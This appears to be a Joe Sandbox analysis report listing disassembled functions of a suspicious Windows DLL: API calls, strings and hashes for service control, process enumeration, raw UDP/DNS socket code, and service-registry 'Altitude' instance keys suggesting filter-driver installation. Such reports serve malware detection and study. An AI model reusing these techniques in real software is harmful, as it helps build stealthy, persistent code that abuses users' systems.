CloseServiceHandle.ADVAPI32(00000000,?,000F01FF,?,?,?,6A0490FA), ref: 6A048C59

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Service$Open$CloseErrorHandleLastManagerStart
String ID:
API String ID: 4248622755-0
Opcode ID: 404c5cbeea31964dd47548f57f9b4ae82b8c8d8f9493c323cdd002be99d6fa81
Instruction ID: c1051abfcb767f5aec6296c7eaf5cf9bff1c80a4b841d60e17d96555fb60952e
Opcode Fuzzy Hash: 404c5cbeea31964dd47548f57f9b4ae82b8c8d8f9493c323cdd002be99d6fa81
Instruction Fuzzy Hash: 0F0100277832256BCA00196D6C85BEA23D8FBCBB22F20117BF600E7241CE56C80E65E4

Function 6A04B440 Relevance: 9.4, APIs: 1, Strings: 5, Instructions: 406COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6A0B2C98), ref: 6A04B4EA

Strings

%02d_%02d, xrefs: 6A04B590
c, xrefs: 6A04B477
8, xrefs: 6A04B47C
v, xrefs: 6A04B472
%04d-%02d-%02d, xrefs: 6A04B577

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: %02d_%02d$%04d-%02d-%02d$8$c$v
API String ID: 32694325-3102721369
Opcode ID: 423251a7029a9bdaa01685598be924f43438d6cdb79d0de4e45de1d7b10cc0ca
Instruction ID: 94309d1f79cea3f48d24378c2d414c07bdbb5642302c8a7360165d758f3c491e
Opcode Fuzzy Hash: 423251a7029a9bdaa01685598be924f43438d6cdb79d0de4e45de1d7b10cc0ca
Instruction Fuzzy Hash: C1E1E271104741DFD300CF68C894A5FBBE4FF9A324F548A6DE0968B2A2DB75E905CB92

Function 6A0705F9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

_strcpy_s.LIBCMT ref: 6A07062B

Part of subcall function 6A082DCA: __getptd_noexit.LIBCMT ref: 6A082DCA

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 6A070643
__snwprintf_s.LIBCMT ref: 6A070678
LoadLibraryA.KERNEL32(?), ref: 6A0706B3

Strings

LOC, xrefs: 6A070623

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: InfoLibraryLoadLocale__getptd_noexit__snwprintf_s_strcpy_s
String ID: LOC
API String ID: 1155623865-519433814
Opcode ID: be25ba1402f438f4d15cb9f7ed68809be3ca65aab2f61ac0e44bab1e969eed02
Instruction ID: 22db1357fe0ede6ad6638d9c2c9ee5b03b2a407b210f1e6681e46ecbaaf56707
Opcode Fuzzy Hash: be25ba1402f438f4d15cb9f7ed68809be3ca65aab2f61ac0e44bab1e969eed02
Instruction Fuzzy Hash: 4121DFB1A04308ABDB219E64CC59FDE36ACAF46318F5245B1E614E7182DFB1CD41CAA8

Function 6A064680 Relevance: 4.6, APIs: 3, Instructions: 63processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 6A0646A5
Process32First.KERNEL32(00000000,?), ref: 6A0646D0
Process32Next.KERNEL32(00000000,?), ref: 6A064709

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1238713047-0
Opcode ID: bfe011717e5e8187294cfc82b8dca6fd51deb96f32aa494f6c9406ee409e0b8b
Instruction ID: 6df3017c277596890dd44f67cc194de9eee4cae5e6d668f0709c1829154557e2
Opcode Fuzzy Hash: bfe011717e5e8187294cfc82b8dca6fd51deb96f32aa494f6c9406ee409e0b8b
Instruction Fuzzy Hash: 2611BC712082456BE720DF29C995BFB7BE8AB86308F410929E99487181EF36E508C792

Function 6A04BDB0 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(0000E000,?,00000006), ref: 6A04BDC7

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 3aaf62e46ebf0f4387c14c4a0d5aef326e76a5f58e2379a84272f146cc88c29a
Instruction ID: 66a96becda89ca435548d38fd9249a58cb45d23fe110fdec05c6175c4e62ae64
Opcode Fuzzy Hash: 3aaf62e46ebf0f4387c14c4a0d5aef326e76a5f58e2379a84272f146cc88c29a
Instruction Fuzzy Hash: F7D05B267041207AD551151DBC44ABF73ECDFC2635F06407AF885DB141E6749C43A6B1

Function 6A0427D0 Relevance: 47.6, APIs: 8, Strings: 19, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6A0426F0: _strncpy.LIBCMT ref: 6A04274F
Part of subcall function 6A0426F0: _memset.LIBCMT ref: 6A042765
Part of subcall function 6A0426F0: _sprintf.LIBCMT ref: 6A04277F

_memset.LIBCMT ref: 6A042BCA
_sprintf.LIBCMT ref: 6A042BDA
__wfopen_s.LIBCMT ref: 6A042BF1
OutputDebugStringA.KERNEL32(?), ref: 6A042C0B
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A042C12
_malloc.LIBCMT ref: 6A042C2D
_memset.LIBCMT ref: 6A042C3F
_sprintf.LIBCMT ref: 6A042C6E

Strings

8j, xrefs: 6A042B7B
xj, xrefs: 6A042A09
j, xrefs: 6A042AD2
total dlq type count : %d, xrefs: 6A042BD4
Tj, xrefs: 6A0429C4
j, xrefs: 6A042B4F
,j, xrefs: 6A042B65
j, xrefs: 6A04285E
$j, xrefs: 6A04296C
<j, xrefs: 6A042998
Dj, xrefs: 6A042B91
Pj, xrefs: 6A042BA7
`j, xrefs: 6A0429DA
current i : %d, xrefs: 6A042C68
C:\pl.txt, xrefs: 6A042BEB
0j, xrefs: 6A042982
Hj, xrefs: 6A0429AE
lj, xrefs: 6A0429F0
j, xrefs: 6A042911

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset_sprintf$DebugOutputString$__wfopen_s_malloc_strncpy
String ID: j$$j$,j$0j$8j$<j$C:\pl.txt$Dj$Hj$Pj$Tj$`j$current i : %d$lj$total dlq type count : %d$xj$j$j$j
API String ID: 376268990-2060417775
Opcode ID: 46b02a18c77c2965a23426c3b952a2f80b75f4e6b1ab4969160e9553b0674a75
Instruction ID: 70f15628567e0bad6aac08763df3f9085176cea66beac817cd6c33ecfee431cd
Opcode Fuzzy Hash: 46b02a18c77c2965a23426c3b952a2f80b75f4e6b1ab4969160e9553b0674a75
Instruction Fuzzy Hash: D9B1B630780301A7FA055A509D6AF16354AFB5BB48F025478FB85AF3C7DEE96E00639B

Function 6A051920 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 285
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6A051962
_memset.LIBCMT ref: 6A051981

Part of subcall function 6A04C140: WSAStartup.WS2_32(00000202,AAC074BB), ref: 6A04C15D

socket.WS2_32(00000002,00000002,00000000), ref: 6A05199B
htons.WS2_32(00000035), ref: 6A0519D2
inet_addr.WS2_32(?), ref: 6A0519DA
_memset.LIBCMT ref: 6A0519F2
htons.WS2_32(00000100), ref: 6A051A0C
htons.WS2_32(00000001), ref: 6A051A18
_strncpy.LIBCMT ref: 6A051A44
htons.WS2_32(00000001), ref: 6A051AC2
htons.WS2_32(00000001), ref: 6A051ACA
sendto.WS2_32(?,?,?,00000000,?,00000010), ref: 6A051B03
closesocket.WS2_32(?), ref: 6A051B0E
recvfrom.WS2_32(?,?,00000400,00000000,?,00000010), ref: 6A051B35
htons.WS2_32(?), ref: 6A051B58
htons.WS2_32(?), ref: 6A051B94
htons.WS2_32 ref: 6A051BDB
htons.WS2_32(?), ref: 6A051BE9
_strncpy.LIBCMT ref: 6A051C84
closesocket.WS2_32(?), ref: 6A051C8D

Strings

%d.%d.%d.%d, xrefs: 6A051C34

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: htons$_memset$_strncpyclosesocket$Startupinet_addrrecvfromsendtosocket
String ID: %d.%d.%d.%d
API String ID: 3966461804-3491811756
Opcode ID: 2e4065d921c6bc76d8afebd69be57a957a232e154dbdb75a5d475d724ef7265d
Instruction ID: 46e07c04d5d0a0022e598ca93d653adf64a27b05bde9a7995bc5a12b0d360823
Opcode Fuzzy Hash: 2e4065d921c6bc76d8afebd69be57a957a232e154dbdb75a5d475d724ef7265d
Instruction Fuzzy Hash: 25A1D371508341AFD321DF28C988BABBBF5AF8A308F41491DF589C7241EB71D549CB66

Function 6A046CD0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\services,00000000,00020019,?), ref: 6A046D07
_memset.LIBCMT ref: 6A046D42
_memset.LIBCMT ref: 6A046D5C
RegEnumKeyExA.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 6A046D78
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 6A046D9C
RegQueryValueExA.KERNEL32(?,Group,00000000,?,?,?), ref: 6A046DC7
_memset.LIBCMT ref: 6A046E1C
_memset.LIBCMT ref: 6A046E3A
_sprintf.LIBCMT ref: 6A046E54

Strings

Group, xrefs: 6A046DBD
Altitude, xrefs: 6A046E91
SYSTEM\CurrentControlSet\services, xrefs: 6A046CF9
System Reserved, xrefs: 6A046DF2
SYSTEM\CurrentControlSet\services\%s\Instances\%s Instance, xrefs: 6A046E4E
369369, xrefs: 6A046EC2

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$Open$EnumQueryValue_sprintf
String ID: 369369$Altitude$Group$SYSTEM\CurrentControlSet\services$SYSTEM\CurrentControlSet\services\%s\Instances\%s Instance$System Reserved
API String ID: 103941440-232118669
Opcode ID: a1b7c1bec61ab685bd8fb5f2f0343f7b7b3f635fce0d5da83ce0a3bf4059b4bc
Instruction ID: be11921140bbbf7ebe89346c6104b934b8e29276da3d347d98bb34a591816749
Opcode Fuzzy Hash: a1b7c1bec61ab685bd8fb5f2f0343f7b7b3f635fce0d5da83ce0a3bf4059b4bc
Instruction Fuzzy Hash: C8514DB1608345AFD324DB65CC94FABB7ECFBC9748F40491DF58983101EA74E9098B66

Function 6A0420D0 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 122
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6A0420F8
_sprintf.LIBCMT ref: 6A04211F
__wfopen_s.LIBCMT ref: 6A042133
OutputDebugStringA.KERNEL32(?), ref: 6A04214D
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A042154
MessageBoxA.USER32(00000000,6A09E1F8,6A09E1E0,00001000), ref: 6A04218D
MessageBoxA.USER32(00000000,6A09E1F8,6A09E1E0,00001000), ref: 6A0421A0
MessageBoxA.USER32(00000000,6A09E1F8,6A09E1E0,00001000), ref: 6A0421B3
__wfopen_s.LIBCMT ref: 6A0421C4
OutputDebugStringA.KERNEL32(6A09E1AC), ref: 6A0421DC
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A0421E3
__wfopen_s.LIBCMT ref: 6A042205
OutputDebugStringA.KERNEL32(6A09E18C), ref: 6A042219
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A042220
__wfopen_s.LIBCMT ref: 6A04223E
OutputDebugStringA.KERNEL32(6A09E1BC), ref: 6A042252
OutputDebugStringA.KERNEL32(6A09E1DC), ref: 6A042259

Strings

C:\pl.txt, xrefs: 6A04212D, 6A0421BE, 6A0421FF, 6A042238
SetExeVerInfo : guaType: %d, bFree: %d, exeVerNum: %d, xrefs: 6A042119

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: DebugOutputString$__wfopen_s$Message$_memset_sprintf
String ID: C:\pl.txt$SetExeVerInfo : guaType: %d, bFree: %d, exeVerNum: %d
API String ID: 1459224498-3464333151
Opcode ID: 283103f4895cd7de9fe89c0b14ec5c929e25b4bd56cde3d237faceb86d4a0fe5
Instruction ID: a269dbbab96dee3283798237fa417ba9d0488df193d6f76a027030ee531f62dc
Opcode Fuzzy Hash: 283103f4895cd7de9fe89c0b14ec5c929e25b4bd56cde3d237faceb86d4a0fe5
Instruction Fuzzy Hash: 94416F72504340BAD220D6608C45FAE7BA8BF9A354F114829F79D93181DF78ED44DB67

Function 6A070829 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 6A070833
GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6A070AFA,?,?), ref: 6A070863
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6A070877
ConvertDefaultLocale.KERNEL32(?), ref: 6A0708B3
ConvertDefaultLocale.KERNEL32(?), ref: 6A0708C1
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6A0708DE
ConvertDefaultLocale.KERNEL32(?), ref: 6A070909
ConvertDefaultLocale.KERNEL32(000003FF), ref: 6A070912
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 6A07092B
EnumResourceLanguagesA.KERNEL32(00000000,00000010,00000001,Function_00030093,?), ref: 6A070948
ConvertDefaultLocale.KERNEL32(?), ref: 6A07097B
ConvertDefaultLocale.KERNEL32(00000000), ref: 6A070984
GetModuleFileNameA.KERNEL32(6A040000,?,00000105), ref: 6A0709C7
_memset.LIBCMT ref: 6A0709E7

Strings

kernel32.dll, xrefs: 6A07084C
GetSystemDefaultUILanguage, xrefs: 6A0708C3
GetUserDefaultUILanguage, xrefs: 6A07086B
ntdll.dll, xrefs: 6A070926

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
